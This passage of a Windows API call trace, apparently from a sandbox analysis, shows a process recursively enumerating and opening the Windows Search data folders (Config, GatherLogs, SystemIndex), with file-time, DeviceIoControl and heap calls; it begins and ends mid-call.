lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0091.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.678] NtClose (Handle=0x170) returned 0x0 [0091.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fba70) returned 1 [0091.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fba70 [0091.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbb80 [0091.680] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0091.681] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.681] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config", cAlternateFileName="")) returned 1 [0091.681] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GatherLogs", cAlternateFileName="")) returned 1 [0091.681] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.chk", cAlternateFileName="")) returned 1 [0091.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7478 [0091.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359d28 [0091.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.684] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295a0600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295a0600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.log", cAlternateFileName="")) returned 1 [0091.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7498 [0091.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359c20 [0091.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.686] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295c6760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295c6760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00001.jrs", cAlternateFileName="")) returned 1 [0091.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.687] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295ec8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295ec8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00002.jrs", cAlternateFileName="")) returned 1 [0091.687] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects", cAlternateFileName="")) returned 1 [0091.687] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 1 [0091.687] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 0 [0091.687] GetLastError () returned 0x12 [0091.687] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0091.688] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.688] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.688] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config", cAlternateFileName="")) returned 1 [0091.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\config"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.688] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.688] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0091.688] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0091.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.688] NtClose (Handle=0x170) returned 0x0 [0091.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a250) returned 1 [0091.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a250 [0091.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.690] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9140 [0091.690] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.690] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.690] GetLastError () returned 0x12 [0091.690] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9200 [0091.690] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.690] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.690] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.690] GetLastError () returned 0x12 [0091.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a358) returned 1 [0091.691] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0091.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a250) returned 1 [0091.691] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GatherLogs", cAlternateFileName="")) returned 1 [0091.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a250 [0091.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.692] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0091.693] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0091.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.693] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0091.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.693] NtClose (Handle=0x184) returned 0x0 [0091.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a250) returned 1 [0091.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a250 [0091.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.695] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9200 [0091.695] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.695] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 1 [0091.695] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 0 [0091.695] GetLastError () returned 0x12 [0091.695] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9140 [0091.695] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0091.695] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.695] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 1 [0091.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a460 [0091.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0091.697] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0091.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.698] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0091.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.698] NtClose (Handle=0x184) returned 0x0 [0091.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a670 [0091.700] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9200 [0091.700] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.700] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.Crwl", cAlternateFileName="")) returned 1 [0091.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 